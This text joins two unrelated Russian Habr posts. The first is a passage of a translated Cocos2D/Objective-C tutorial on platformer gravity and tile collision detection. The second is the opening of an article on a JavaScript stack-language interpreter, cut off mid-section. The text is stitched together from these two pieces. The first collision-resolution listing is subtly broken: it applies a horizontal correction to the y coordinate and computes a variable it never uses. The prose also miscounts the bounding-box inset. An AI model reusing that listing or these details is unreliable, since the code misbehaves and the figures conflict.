Этот код загружает спрайт-объект Коалы, задает ему позицию и добавляет его на объект нашей карты.
Вы спросите, зачем добавлять объект коалы на карту, вместо того, чтобы просто добавить его напрямую на слой? Все просто. Мы хотим непосредственно контролировать какой слой будет перед Коалой, а какой за ней. Так что мы делаем Коалу ребенком карты, а не главного слоя. Мы хотим, чтобы Коала была спереди, так что даем ей Z-порядок, равный 15. Так же, когда мы прокручиваем карту, Коала все еще находится на той же позиции, относительно карты, а не главного слоя.
Отлично, давайте попробуем! Запустите ваш проект и вы должны увидеть следующее:
Выглядит как игра, но Коалио игнорирует гравитацию! Пришло время опустить его с небес на землю — при помощи физического движка :]
#### Ситуация с гравитацией Коалио
Чтобы создать симуляцию физики, можно написать сложный набор разветвляющейся логики, который бы учитывал состояние Коалы и применял бы к ней силы, отталкиваясь от полученной информации. Но этот мир сразу станет слишком сложным — a реальная физика ведь так сложно не работает. В реальном мире гравитация просто постоянно тянет объекты вниз. Так, мы добавляем постоянную силу гравитации и применяем ее к Коале каждый шаг программы.
Другие силы тоже не просто отключаются и включаются. В реальном мире сила действуюет на объект пока другая сила не превзойдет или не будет равной первой.
Например, сила прыжка не отключает гравитацию; она какое-то время превосходит силу гравитации, до тех пор, пока гравитация вновь не прижмет Коалу к земле.
Вот так моделируется физика. Вы не просто решаете, применять или не применять гравитационную силу к Коале. Гравитация существует всегда.
#### Играем в бога
В логике нашего движка заложено, что если на объект действует сила, то он будет продолжать двигаться пока другая сила на превзойдет первую. Когда Коалио спрыгивает с уступа, он продолжает двигаться вниз с определенным ускорением, пока не встретит препятствие на своем пути. Когда мы двигаем Коалио, он не перестанет двигаться, пока мы не перестанем применять на него силу движения; трение будет действовать на Коалио, пока тот не остановится.
По мере создания физического движка вы увидите, как настолько простая игровая логика помогает решать сложные физические задачи, такие как: ледяной пол или падение со скалы. Эта поведенческая модель позволяет игре изменяться динамически.
Так же такой ход конем позволит нам сделать имплементацию проще, так как нам не нужно постоянно спрашивать состояние нашего объекта — объект просто будет следовать законам физики из реального мира.
Иногда нам нужно играть в бога! :]
#### Законы планеты Земля: CGPoint'ы и Силы
Давайте обозначим следующие понятия:
* **Скорость** описывает, насколько быстро объект движется в определенном направлении.
* **Ускорение** описывает, как скорость и направление объекта изменяются со временем.
* **Сила** — это влияние, которое является причиной изменения в скорости или направлении.
В физической симуляции, примененная к объекту сила ускорит объект до определенной скорости, и объект будет двигаться с этой скоростью, пока не встретит на пути другую силу. Скорость — это величина, которая изменяется от одного кадра к следующему по мере появления новых действующих сил.
Мы будем представлять три вещи при помощи структур CGPoint: скорость, сила/ускорение и позиция. Есть две причины использования CGPoint структур:
1. **Они 2D.** Скорость, сила/ускорение и позиция — всё это 2D величины для 2D игры. Можете заявить, что гравитация действует только в одном направлении, но что, если в один из моментов игры нам срочно нужно будет сменить направление гравитации? Подумайте о Super Mario Galaxy!
2. **Это удобно.** Используя CGPoint, мы можем пользоваться различными функциями, встроенными в Cocos2D. В частности мы будем использовать ccpAdd (сложение), ccpSub (вычитание) и ccpMult (умножение на переменную типа float). Все это сделает наш код гораздо более удобным для чтения и отладки!
Объект нашей Коалы будет иметь переменную скорости, которая будет изменяться по появлению различных сил, включая гравитацию, движение, прыжки, трение.
Каждый шаг игры, мы будем складывать все силы вместе, и полученная величина будет добавляться к текущей скорости Коалы. В итоге мы будем получать новую текущую скорость. Ее мы уменьшим, используя скорость изменения кадров. Уже после этого мы будем двигать Коалу.
> **Обратите внимание:** если что-либо из вышенаписанного вводит вас в заблуждение, то прекрасный человек, Daniel Shiffman написал великолепный [туториал](http://www.processing.org/learning/pvector/) на тему векторов, который полностью объясняет действия сил над структурами, которые мы используем.
>
>
Давайте начнем с гравитацией. Напишем цикл run, в котором мы будем применять силы. Добавьте в метод init файла **GameLevelLayer.m** следующий код прямо перед закрытием условного блока if:
```
[self schedule:@selector(update:)];
```
Далее добавьте новый метод в класс:
```
- (void)update:(ccTime)dt {
[player update:dt];
}
```
Далее откройте **Player.h** и измените его, чтобы он выглядил так:
```
#import
#import "cocos2d.h"
@interface Player : CCSprite
@property (nonatomic, assign) CGPoint velocity;
- (void)update:(ccTime)dt;
@end
```
Добавьте следующий код в **Player.m**:
**Нажми меня**
```
#import "Player.h"
@implementation Player
@synthesize velocity = _velocity;
// 1
- (id)initWithFile:(NSString *)filename {
if (self = [super initWithFile:filename]) {
self.velocity = ccp(0.0, 0.0);
}
return self;
}
- (void)update:(ccTime)dt {
// 2
CGPoint gravity = ccp(0.0, -450.0);
// 3
CGPoint gravityStep = ccpMult(gravity, dt);
// 4
self.velocity = ccpAdd(self.velocity, gravityStep);
CGPoint stepVelocity = ccpMult(self.velocity, dt);
// 5
self.position = ccpAdd(self.position, stepVelocity);
}
@end
```
Давайте пройдемся по коду выше ступень за ступенью
1. Здесь мы добавили новый метод init чтобы инициализировать объект и приравнять переменную скорости к нулю.
2. Здесь мы обозначили значение вектора гравитации. Каждую секунду мы ускоряем скорость Коалы на 450 пикселов вниз.
3. Здесь мы использовали ccpMult для того, чтобы уменьшить значение гравитационного вектора для удовлетворения скорости смены кадров. ccpMult получает float и CGPoint и возвращает CGPoint.
4. Здесь, как только мы посчитали гравитацию для текущего шага, мы добавляем ее к текущей скорости.
5. Наконец, когда мы посчитали скорость для одного шага, мы используем ccpAdd для обновления позиции Коалы.
Поздравляю! Мы на прямом пути к созданию нашего первого физического движка! Запустите свой проект, чтобы увидеть результат!
Уууууупс — Коалио падает сквозь пол! Давайте это починим.
#### Удары в ночи – определение столкновений
Определение столкновений это основа любого физического движка. Есть множество различных видов определения столкновений, от простого использования рамок изображений, до комплексных столкновений 3D объектов. К счастью для нас, платформер не требует сложных структур.
Чтобы определять столкновения Коалы с объектами, мы будем использовать TMXTileMap для ячеек, которые непосредственно окружают Коалу. Далее, используя несколько встроенных в iOS функций мы будем проверять пересекает ли спрайт Коалы спрайт какой-либо ячейки.
Функции CGRectIntersectsRect и CGRectIntersection делают такие проверки очень простыми. CGRectIntersectsRect проверяет, пересекаются ли два прямоугольника, а CGRectIntersection возвращает прямоугольник пересечения.
Во-первых, нам нужно определить рамку нашей Коалы. Каждый загруженный спрайт имеет рамку, которая является размером текстуры и к которой можно получить доступ при помощи параметра с именем boundingBox.
Зачем определять рамку, если она уже есть в boundingBox? Текстура обычно имеет вокруг себя прозрачные края, которые мы совсем не хотим учитывать при определении столкновений.
Иногда нам не нужно учитывать даже пару-тройку пикселей вокруг реального изображения спрайта (не прозрачного). Когда марио врезается в стену, разве он чуть-чуть касается ее, или его нос слегка утопает в блоке?
Давайте попробуем. Добавьте в **Player.h**:
```
-(CGRect)collisionBoundingBox;
```
И добавьте в **Player.m**:
```
- (CGRect)collisionBoundingBox {
return CGRectInset(self.boundingBox, 2, 0);
}
```
CGRectInset сжимает CGRect на количество пикселов из второго и третьего аргументов. В нашем случае, ширина нашей рамки столкновений будет на шесть пикселов меньше — три пиксела с каждой стороны.
#### Поднятие тяжестей
Пришло время поднимать тяжести. («Эй, ты сейчас назвал меня толстым?» — говорит Коалио).
Нам потребуется ряд методов в нашем GameLevelLayer для определения столкновений. В частности:
* Метод, возвращающий координаты восьми ячеек, окружающих текущую ячейку Коалио.
* Метод, определяющий, которая из ячеек является препятствием (и имеются ли таковые в общем). Некоторые ячейки не имеют физических свойств (облака), и Коалио не будет сталкиваться с ними.
* Метод, обрабатывающий столкновения в приоритетном порядке.
Мы создадим две вспомогательные функции, которые упростят методы, описанные чуть выше.
* Метод, который определяет позицию ячейки Коалио.
* Метод, который получает координаты ячейки и возвращает прямоугольник ячейки в Cocos2D координатах.
Добавьте следующий код в **GameLevelLayer.m**:
```
- (CGPoint)tileCoordForPosition:(CGPoint)position {
float x = floor(position.x / map.tileSize.width);
float levelHeightInPixels = map.mapSize.height * map.tileSize.height;
float y = floor((levelHeightInPixels - position.y) / map.tileSize.height);
return ccp(x, y);
}
- (CGRect)tileRectFromTileCoords:(CGPoint)tileCoords {
float levelHeightInPixels = map.mapSize.height * map.tileSize.height;
CGPoint origin = ccp(tileCoords.x * map.tileSize.width, levelHeightInPixels - ((tileCoords.y + 1) * map.tileSize.height));
return CGRectMake(origin.x, origin.y, map.tileSize.width, map.tileSize.height);
}
```
Первый метод возвращает нам координаты ячейки, находящейся на координатах в пикселях, которые мы передаем в метод. Чтобы получить позицию ячейки, мы просто делим координаты на размер ячеек.
Нам нужно инвертировать координаты высоты, так как координаты системы Cocos2D/OpenGL начинаются с левого нижнего угла, а системные координаты начинаются с левого верхнего угла. Стандарты — ну разве это не круто?
Второй метод делает все наоборот. Он умножает координату ячейки на размер ячеек и вовзращает CGRect данной ячейки. Опять же, нам нужно развернуть высоту.
Зачем нам добавлять единицу к y-координате высоты? Запомните, координаты ячеек начинаются с нуля, так 20 ячейка имеет реальную координату 19. Если мы не добавим единицу к высоте, точка будет 19 \* tileHeight.
#### Я окружен ячейками!
Теперь перейдем к методу, который определяет окружающие Коалу ячейки. В этом методу мы создадим массив, который и будем возвращать. Этот массив будет содержать GID ячейки, координаты ячейки и информацию о CGRect этой ячейки.
Мы организуем этот массив в порядке приоритета, в котором мы будем определять столкновения. Например, мы ведь хотим определять столкновения сверху, слева, справа, снизу перед тем, как определять диагональные. Также, когда мы определим столкновение Коалы с нижней ячейкой мы выставляем флаг касания земли.
Добавим этот метод в **GameLevelLayer.m**:
**Нажми меня**
```
- (NSArray *)getSurroundingTilesAtPosition:(CGPoint)position forLayer:(CCTMXLayer *)layer {
CGPoint plPos = [self tileCoordForPosition:position]; //1
NSMutableArray *gids = [NSMutableArray array]; //2
for (int i = 0; i < 9; i++) { //3
int c = i % 3;
int r = (int)(i / 3);
CGPoint tilePos = ccp(plPos.x + (c - 1), plPos.y + (r - 1));
int tgid = [layer tileGIDAt:tilePos]; //4
CGRect tileRect = [self tileRectFromTileCoords:tilePos]; //5
NSDictionary *tileDict = [NSDictionary dictionaryWithObjectsAndKeys:
[NSNumber numberWithInt:tgid], @"gid",
[NSNumber numberWithFloat:tileRect.origin.x], @"x",
[NSNumber numberWithFloat:tileRect.origin.y], @"y",
[NSValue valueWithCGPoint:tilePos],@"tilePos",
nil];
[gids addObject:tileDict];
}
[gids removeObjectAtIndex:4];
[gids insertObject:[gids objectAtIndex:2] atIndex:6];
[gids removeObjectAtIndex:2];
[gids exchangeObjectAtIndex:4 withObjectAtIndex:6];
[gids exchangeObjectAtIndex:0 withObjectAtIndex:4]; //6
for (NSDictionary *d in gids) {
NSLog(@"%@", d);
} //7
return (NSArray *)gids;
}
```
Пфф — целая туча кода. Не беспокойтесь, мы детально по нему пройдемся.
Но перед этим заметьте, что у нас есть три слоя на нашей карте.
Наличие разных слоев позволяет нам по-разному определять столкновения для каждого слоя.
* **Koala и hazards.** Если произошло столкновение, то мы убиваем Коалу (достаточно брутально, не так ли?).
* **Koala и walls.** Если произошло столкновение, то мы не разрешаем Коале дальше двигаться в этом направлении. «Стой, кобыла!»
* **Koala и backgrounds.** Если произошло столкновение, то мы ничего и не делаем. Ленивый программист — лучший программист. Ну или как там, в народе, говорят?
Конечно, есть различные пути определения различных столкновений с разными блоками, но то, что мы имеем — слои на карте, довольно эффективно.
Ладненько, давайте пройдемся по коду шаг за шагом.
**1.** Для начала мы получаем координаты ячейки для ввода (которыми и будут координаты Коалы).
**2.** Далее, мы создаем новый массив, который будет возвращать информацию о ячейке.
**3.** Далее, мы запускаем цикл 9 раз — так как у нас есть 9 возможных ячеек перемещения, включая ячейку, в которой коала уже находится. Следующие несколько строк определяют позиции девяти ячеек и сохраняют из в переменной tilePos.
> **Обратите внимание:** нам нужна информация только о восьми ячейках, так как нам никогда не придется определять столкновения с ячейкой, на которой коала уже находится.
>
> Мы всегда должны ловить этот случай и перемещать Коалу в одну из ячеек вокруг. Если Коалио находится внутри твердой ячейки, значит больше половины спрайта Коалио вошло внутрь. Он не должен двигаться так быстро — как минимум, в этой игре!
>
> Чтобы легче оперировать над этими восьми ячейками, просто добавим ячейку Коалио по началу, а в конце ее удалим.
**4.** В четвертой секции мы вызываем метод tileGIDAt:. Этот метод возвращает GID ячейки на определенной координате. Если на полученных координатах нет ячейки, метод возвращает ноль. Далее мы будем использовать ноль в значении «не найдено ячейки».
**5.** Далее мы используем вспомогательный метод, чтобы вычислить CGRect для ячейки на данных Cocos2D координатах. Полученную информацию мы сохраняем в NSDictionary. Метод возвращает массив из полученных NSDictionary.
**6.** В шестой секции мы убираем ячейку Коалы из массива и сортируем ячейки в приоритетном порядке.
Часто, в случае определения столкновений с ячейкой под Коалой, мы так же определяем столкновения с ячейками по-диагонали. Смотрите рисунок справа. Определяя столкновения с ячейкой под Коалой, веделенной красным, мы так же определяем столкновения с блоком #2, выделенным синим.
Наш алгоритм определения столкновений будет использовать некоторые допущения. Эти допущения верны скорее для прилегающих, нежели для диагональных ячеек. Так что мы постараемся избегать действий с диагональными ячейками настолько, насколько это возможно.
А вот и картинка, которая наглядно показывает нам порядок ячеек в массиве до и после сортировки. Можно заметить, что верхняя, нижняя, правая и левая ячейки обрабатываются в первую очередь. Зная порядок ячеек, вам будет легче определять, когда Коала касается земли или летает в облаках.
**7.** Цикл в секции семь позволяет нам следить за ячейками в реальном времени. Так, мы можем точно знать, что все идет по плану.
Мы почти готовы к следующему запуску нашей игры! Однако все еще нужно сделать пару вещиц. Нам нужно добавить слой walls как переменную в класс GameLevelLayer так, чтобы мы смогли ее использовать.
Внутри **GameLevelLayer.m** осуществите следующие изменения:
```
// Добавить в @interface
CCTMXLayer *walls;
// Добавить в метод init, после того, как на слой добавляется карта
walls = [map layerNamed:@"walls"];
// добавить в метод update
[self getSurroundingTilesAtPosition:player.position forLayer:walls];
```
Запускайте! Но, к сожалению, игра крашится. Мы видим в консоли нечто следующее:
Сначала мы получаем информацию о позициях ячеек и значения GID (хотя в основном нули, так как сверху пустая местность).
В конце, все крашится с ошибкой «TMXLayer: invalid position». Такое происходит, когда в метод tileGIDat: передается позиция, которая находится вне краев карты.
Мы избежим этой ошибки чуть позже — но сначала, мы собираемся изменить существующее определение столкновений.
#### Отбираем привилегии Коалы назад
До этого момента Коала сама обновляла себе позицию. Но сейчас мы забираем у нее эту привилегию.
Если Коала будет самостоятельно обновлять свою позицию, то в конце концов она начнет скакать как бешеная! А мы же этого не хотим, нет?
Так что Коала требует дополнительной переменной desiredPosition, при помощи которой она будет взаимодействовать с GameLevelLayer.
Мы хотим, чтобы класс Коалы самостоятельно высчитывал свою следующую позцию. Но GameLevelLayer должен перемещать Коалу в желаемую позицию только после проверки ее на валидность. То же самое применимо и к циклу определения столкновений — мы не хотим обновлять реальный спрайт до того, как все ячейки были проверены на предмет столкновений.
Нам нужно поменять несколько вещей. Сначала, добавьте следующее в **Player.h**
```
@property (nonatomic, assign) CGPoint desiredPosition;
```
И синтезируйте добавленное в **Player.m**:
```
@synthesize desiredPosition = _desiredPosition;
```
Теперь, измените метод **collisionBoundingBox** в **Player.m**, чтобы он выглядел так:
```
- (CGRect)collisionBoundingBox {
CGRect collisionBox = CGRectInset(self.boundingBox, 3, 0);
CGPoint diff = ccpSub(self.desiredPosition, self.position);
CGRect returnBoundingBox = CGRectOffset(collisionBox, diff.x, diff.y);
return returnBoundingBox;
}
```
Этот кусок кода вычисляет рамку, основываясь на желаемой позиции, которую GameLevelLayer будет использовать для определения столкновений.
> **Обратите внимание:** Есть множество различных способов вычисления рамок столкновений. Вы можете написать код, похожий на тот, что уже имеется в классе CCNode, но наш нынешний способ гораздо проще, несмотря на некоторую неочевидность.
>
>
Далее, осуществите следующие изменения в методе update так, чтобы он обновлял desiredPosition заместо текущей позиции:
```
// Замените 'self.position = ccpAdd(self.position, stepVelocity);' на:
self.desiredPosition = ccpAdd(self.position, stepVelocity);
```
#### Давайте начнем определять столкновения!
Пришло время для серьезных свершений. Мы собираемся собрать все вместе. Добавьте следующий метод в **GameLevelLayer.m**:
**Нажми меня**
```
- (void)checkForAndResolveCollisions:(Player *)p {
NSArray *tiles = [self getSurroundingTilesAtPosition:p.position forLayer:walls ]; //1
for (NSDictionary *dic in tiles) {
CGRect pRect = [p collisionBoundingBox]; //2
int gid = [[dic objectForKey:@"gid"] intValue]; //3
if (gid) {
CGRect tileRect = CGRectMake([[dic objectForKey:@"x"] floatValue], [[dic objectForKey:@"y"] floatValue], map.tileSize.width, map.tileSize.height); //4
if (CGRectIntersectsRect(pRect, tileRect)) {
CGRect intersection = CGRectIntersection(pRect, tileRect); //5
int tileIndx = [tiles indexOfObject:dic]; //6
if (tileIndx == 0) {
//Ячейка прямо под Коалой
p.desiredPosition = ccp(p.desiredPosition.x, p.desiredPosition.y + intersection.size.height);
} else if (tileIndx == 1) {
//Ячейка прямо над Коалой
p.desiredPosition = ccp(p.desiredPosition.x, p.desiredPosition.y - intersection.size.height);
} else if (tileIndx == 2) {
//Ячейка слева от Коалы
p.desiredPosition = ccp(p.desiredPosition.x + intersection.size.width, p.desiredPosition.y);
} else if (tileIndx == 3) {
//Ячейка справа от Коалы
p.desiredPosition = ccp(p.desiredPosition.x - intersection.size.width, p.desiredPosition.y);
} else {
if (intersection.size.width > intersection.size.height) { //7
//Ячейка диагональна, но решаем проблему вертикально
float intersectionHeight;
if (tileIndx > 5) {
intersectionHeight = intersection.size.height;
} else {
intersectionHeight = -intersection.size.height;
}
p.desiredPosition = ccp(p.desiredPosition.x, p.desiredPosition.y + intersection.size.height );
} else {
//Ячейка диагональна, но решаем проблему горизонтально
float resolutionWidth;
if (tileIndx == 6 || tileIndx == 4) {
resolutionWidth = intersection.size.width;
} else {
resolutionWidth = -intersection.size.width;
}
p.desiredPosition = ccp(p.desiredPosition.x , p.desiredPosition.y + resolutionWidth);
}
}
}
}
}
p.position = p.desiredPosition; //7
}
```
Отлично! Давайте посмотрим на код, который мы только что написали.
**1.** Сначала мы получаем набор ячеек, окружающих Коалу. Далее мы проходимся циклом по каждой ячейке из этого набора. Каждый раз, когда мы проходимся по ячейке, мы проверяем ее на предмет столкновений. Если произошло столкновение, мы меняем desiredPosition у Коалы.
**2.** Внутри каждой петли цикла, мы сначала получаем текущую рамку Коалы. Каждый раз, когда определяется столкновение, переменная desiredPosition меняет свое значение на такое, при котором столкновения больше не происходит.
**3.** Следующий шаг это получение GID, который мы хранили в NSDictionary, который может являться нулем. Если GID равен нулю, то текущая петля завершается и мы переходим к следующей ячейке.
**4.** Если в новой позиции находится ячейка, нам нужно получить ее CGRect. В ней может быть, а может и не быть столкновения. Мы осуществляем этот процесс при помощи следующей строчки кода и сохраняем в переменную tileRect. Теперь, имея CGRect Коалы и ячейки, мы можем проверить их на предмет столкновения.
**5.** Чтобы проверить ячейки на предмет столкновения, мы запускаем CGRectIntersectsRect. Если произошло столкновение, то мы получим CGRect, описывающий CGRect пересечения при помощи функции CGRectIntersection().
#### Остановимся подумать на дилеммой...
Довольно интересный случай. Нам нужно додуматься как правильно определять столкновения.
Можно подумать, что лучший способ двигать Коалу — двигать ее в противоположную сторону от столкновения. Некоторые физические движки и вправду работают по этому принципу, но мы собираемся применить решение по-лучше.
Подумайте: гравитация постоянно тянет Коалу вниз в ячейки под ней, и эти столкновения происходят постоянно. Если вы представите Коалу, движущуюся вперед, то, в то же время, Коалу все еще тянет вниз гравитацией. Если мы будем решать эту проблему простым изменением движения в обратную сторону, то Коала будет двигаться вверх и влево — а ведь нам нужно нечто иное!
Наша Коала должна смещаться на достаточное расстояние, чтобы все еще оставаться над этими ячейками, но продолжать двигаться вперед с тем же темпом.
Та же проблема произойдет, если Коала будет скатываться вниз по стене. Если игрок будет прижимать Коалу к стене, то желаемая траектория движения Коалы будет направлена диагонально вниз и в стену. Просто обратив направление, мы заставим Коалу двигаться вверх и от стены — опять, совсем не то! Мы то хотим, чтобы Коала оставалась вне стены, но все еще спускалась вниз с тем же темпом!
Так что, нам нужно решить, когда работать со столкновениями вертикально, а когда горизонтально, и обрабатывать оба действия взаимоисключающе. Некоторые физические движки постоянно обрабатывают сначала первое событие, а потом второе; но мы-то хотим сделать решение по-лучше, основываясь на позиции ячейки Коалы. Так, например, когда ячейка прямо под Коалой, мы хотим, чтобы определитель столкновений возвращал Коалу вверх.
А что если ячейка диагональна позиции Коалы? В этом случае мы используем CGRect пересечения, чтобы понять, как мы должны двигать Коалу. Если ширина этого прямоугольника больше высоты, то возвращать Коалу нужно вертикально. Если высота больше ширины, то Коала должна смещаться горизонтально.
Этот процесс будет работать правильно до тех пор, пока скорость Коалы и скорость смены кадров будут в пределах определенных рамок. Чуть позднее мы научимся избегать случаев, когда Коала падает слишком быстро и проскакивает через ячейку вниз.
Как только мы определили, как двигать Коалу — вертикально или горизонтально, мы используем размер CGRect пересечения для определения, насколько нужно сместить Коалу. Смотрим на ширину или высоту соответственно и используем эту велечину как дистанцию смещения Коалы.
Зачем же проверять ячейки в определенном порядке? Вам всегда нужно сначала работать с прилегающими ячейками, а потом с диагональными. Ведь если вы захотите проверить на столкновение ячейку справа снизу от Коалы, то вектор смещения будет направлен вертикально.
Однако все еще есть шанс, что CGRect столкновения будет вытянутым вверх, когда Коала чуть-чуть касается ячейки.
Посмотрите на рисунок справа. Синяя область вытянута вверх, потому что прямоугольник столкновения — это лишь малая часть общего столкновения. Однако если мы уже решили проблему с ячейкой прямо под Коалой, то нам уже не нужно определять столкновения с ячейкой снизу справа от Коалы. Так мы и обходим появившиеся проблемы.
#### Назад к коду!
Вернемся к монструозному методу **checkForAndResolveCollisions:**…
**6.** Шестая секция позволяет нам получить индекс текущей ячейки. Мы используем индекс ячейки чтобы получать позицию ячейки. Мы собираемся оперировать над прилегающими ячейками индивидуально, смещая Коалу, вычитая или добавляя длину или высоту столкновения. Довольно просто. Однако как только дело доходит до диагональных ячеек, мы собираемся применять алгоритм, описаный в предыдущей секции.
**7.** В седьмой секции мы определяем, какая наша область столкновения: широкая или вытянутая вверх? Если широкая — работаем вертикально. Если индекс ячейки больше 5, то двигаем Коалу вверх. Если область вытянута вверх — работаем горизонтально. Действуем по похожему принципу порядка индексов ячейки. В конце мы присваиваем Коале полученую позицию.
Этот метод — мозг нашей системы определения столкновений.
Давайте используем все имеющиеся знания на практике! Измените метод **update** (все еще в **GameLevelLayer:**)
```
// Замените "[self getSurroundingTilesAtPosition:player.position forLayer:walls];" на:
[self checkForAndResolveCollisions:player];
```
Также вы можете удалить или закомментировать блок **getSurroundingTilesAtPosition:forLayer:**
```
/*
for (NSDictionary *d in gids) {
NSLog(@"%@", d);
} //8 */
```
Запускаем! Удивлены результатом?
Пол останавливает Коалио, но тот тут же в него утопает! Почему?
Можете догадаться, что мы упустили? Помните — каждый шаг игры мы добавляем силу гравитации к скорости Коалы. Это обозначает, что Коала постоянно ускоряется вниз.
Мы постоянно добавляем скорость к траектории Коалы вниз, пока она не становится размером с ячейку — мы перемещаемся сквозь целую ячейку за один шаг, что и вызывает проблемы (помните, мы недавно об этом говорили).
Как только мы засекаем столкновение, нам нужно обнулять скорость коалы в направлении ячейки, с которой столкнулись! Коала перестала двигаться, так что и скорость должна с ней считаться.
Если мы этого не осуществим, то у нас будет довольно странное поведение игры. Как мы уже заметили ранее, нам нужен способ определять, касается ли Коала земли, чтобы Коала не смогла прыгать еще выше. Мы выставим этот флажок прямо сейчас. Добавьте следующие строки в **checkForAndResolveCollisions:**
**Нажми меня**
```
- (void)checkForAndResolveCollisions:(Player *)p {
NSArray *tiles = [self getSurroundingTilesAtPosition:p.position forLayer:walls ]; //1
p.onGround = NO; //////Здесь
for (NSDictionary *dic in tiles) {
CGRect pRect = [p collisionBoundingBox]; //3
int gid = [[dic objectForKey:@"gid"] intValue]; //4
if (gid) {
CGRect tileRect = CGRectMake([[dic objectForKey:@"x"] floatValue], [[dic objectForKey:@"y"] floatValue], map.tileSize.width, map.tileSize.height); //5
if (CGRectIntersectsRect(pRect, tileRect)) {
CGRect intersection = CGRectIntersection(pRect, tileRect);
int tileIndx = [tiles indexOfObject:dic];
if (tileIndx == 0) {
//ячейка под Коалой
p.desiredPosition = ccp(p.desiredPosition.x, p.desiredPosition.y + intersection.size.height);
p.velocity = ccp(p.velocity.x, 0.0); //////Здесь
p.onGround = YES; //////Здесь
} else if (tileIndx == 1) {
//ячейка над Коалой
p.desiredPosition = ccp(p.desiredPosition.x, p.desiredPosition.y - intersection.size.height);
p.velocity = ccp(p.velocity.x, 0.0); //////Здесь
} else if (tileIndx == 2) {
//ячейка слева
p.desiredPosition = ccp(p.desiredPosition.x + intersection.size.width, p.desiredPosition.y);
} else if (tileIndx == 3) {
//ячейка справа
p.desiredPosition = ccp(p.desiredPosition.x - intersection.size.width, p.desiredPosition.y);
} else {
if (intersection.size.width > intersection.size.height) {
//tile is diagonal, but resolving collision vertially
p.velocity = ccp(p.velocity.x, 0.0); //////Здесь
float resolutionHeight;
if (tileIndx > 5) {
resolutionHeight = intersection.size.height;
p.onGround = YES; //////Здесь
} else {
resolutionHeight = -intersection.size.height;
}
p.desiredPosition = ccp(p.desiredPosition.x, p.desiredPosition.y + resolutionHeight);
} else {
float resolutionWidth;
if (tileIndx == 6 || tileIndx == 4) {
resolutionWidth = intersection.size.width;
} else {
resolutionWidth = -intersection.size.width;
}
p.desiredPosition = ccp(p.desiredPosition.x + resolutionWidth, p.desiredPosition.y);
}
}
}
}
}
p.position = p.desiredPosition; //8
}
```
Каждый раз, когда под Коалой есть ячейка (либо прилегающая, либо диагональная), мы выставляем значение переменной p.onGround равное YES и обнуляем скорость. Также, если под Коалой есть прилегающая ячейка, мы обнуляем его скорость. Это позволит нам правильно реагировать на текущую скорость Коалы.
Мы выставляем значение переменной onGround равное NO в начале цикла. В этом случае, у onGround будет значение YES только тогда, когда мы обнаружим столкновение Коалы с ячейкой под ней. Мы можем использовать эту особенность для того, чтобы определять может Коала прыгать или нет в текущий момент времени.
Добавьте следующий код в загаловочный файл (и затем синтезируйте все необходимое в исполнительном) в **Player.h**:
```
@property (nonatomic, assign) BOOL onGround;
```
И в **Player.m**:
```
@synthesize onGround = _onGround;
```
Запускаем! Все работает так, как и задумывалось? Да! О, этот великолепный день! Ура!
#### Что дальше?
Поздравляю! Вы полностью закончили свой физический движок! Если вы добрались до этого текста, то можете вздохнуть с облегчением. Это была сложная часть — ничего сложного во второй части туториала не будет.
А вот и [исходники проекта](http://cdn5.raywenderlich.com/downloads/SuperKoalioMiddle4.zip) который мы сейчас закончили.
Во [второй части](http://habrahabr.ru/post/163435/) мы заставим нашего Коалио бегать и прыгать. Так же мы сделаем шипованные блоки в полу опасными для нашей Коалы и создадим экраны выигрыша и проигрыша.
Если вы хотите получить еще больше знаний о физических движках для платформеров, то я советую вам посетить следующие ресурсы:
The Sonic the Hedgehog Wiki — отличное объяснение тому, [как Sonic взаимодействует с твердыми ячейками](http://info.sonicretro.org/SPG:Solid_Tiles).
Возможно, лучший [гайд по созданию платформеров](http://higherorderfun.com/blog/2012/05/20/the-guide-to-implementing-2d-platformers/) от Higher-Order Fun.
---
##### Примечание переводчика
Решил перевести этот туториал, вдохновившись [этой статьей](http://habrahabr.ru/post/162733/).
Сам сейчас пишу игру-платформер на iOS и активно пользуюсь туториалами на сайте [raywenderlich.com](http://www.raywenderlich.com). Советую всем!
После сравнительно большого количества потраченного времени на перевод первой части, задумался о переводе второй части. Напишите в комментариях, нужно ли. Если будет востребована — переведу.
Обо всех найденных неточностях и опечатках, пожалуйста, пишите в хабрапочте или тут в комментариях.
С радостью отвечу на все вопросы по туториалу! | https://habr.com/ru/post/162747/ | null | ru | null |
# Стековый язык программирования на JavaScript в 34 строки
##### Информация для тех кто не знает что такое стековый язык:
Следующая строка подло скопирована с [Wikipedia](http://ru.wikipedia.org/wiki/%D0%A1%D1%82%D0%B5%D0%BA%D0%BE%D0%B2%D1%8B%D0%B9_%D1%8F%D0%B7%D1%8B%D0%BA)
Стековый язык программирования — это язык программирования, в котором для передачи параметров используется машинная модель стека.
##### О языке
Язык будет очень простым, так например функции могут принимать только один параметр, но тем не менее будет возможность сопоставления с образцом. Присутствует всего лишь один тип, а именно число.
Функция с сопоставлением будет определяться следующим образом:
`value name = operations`
Где value это шаблон для сопоставления, a operations это тело функции.
Если же определяется функция без сопоставления то она будет записана следующим образом:
`name = operations`
Но в теле функции можно использовать константу op значением которой будет операнд с котором была вызвана функция то-есть вершина стека.
Что-бы ввести в стек значение нужно просто ввести число.
А что-бы перевести верхний элемент стека в переменную нужно написать:
`-> name`
Из стандартных операция будут только + — \* /
Так например функция увеличения элемента с вершины стека на 1 будет записана так:
`++ = op 1 +`
А вот для реализации функция факториала потребуется сопоставление с образцом и кодом будет:
`0 ! = 1
! = op 1 - ! op *`
##### Реализация
Будет написан только интерпретатор, который будет реализован как контекст.
Работу с этим контекстом будет осуществлять отдельный скрипт. В подробности которого мы вдаваться не будем. Скажу лишь то что он выводит в «консоль» вершину стека или 'nil'
###### Первые шаги
Первым делом мы как и полагается опишем контекст как конструктор и обозначим его HContext
`HContext = function(){
this.stack = []; //Стек
this.vars = []; // Переменные
this.funs = []; //Функции
}`
Затем создадим самую главную функцию 'run' аргументом которой будет код, а сама функция разделять его на лексемы и затем если окажется что это определение функции она вызовет нужную функцию иначе она вызовет функцию выполнения кода.
`this.run = function(code){
lexems = code.split(' ');
if(lexems.oneOf('=')){
this.define(lexems);}else{
this.exec(lexems,'');}}`
**Примечание:**те кто внимательно читали код могли заметить метод oneOf, это метод из так называемого мной extend.js который был написан мной после того как я прочитал фразу «Если тебе что то нужно, но этого еще нет, то создай это сам.», в дальнейшем функции из этой библиотеки также будут применяться.
Теперь напишем функцию exec которая будет выполнять код. В самом начале если аргумент op не определен то присвоим ему значение 3.
Затем создадим цикл который будет шагать по массиву из лексем и в зависимости от лексемы выполнять различные операции.
Если это 'op' — положить значение op в стек.
Если это число — положить его в стек.
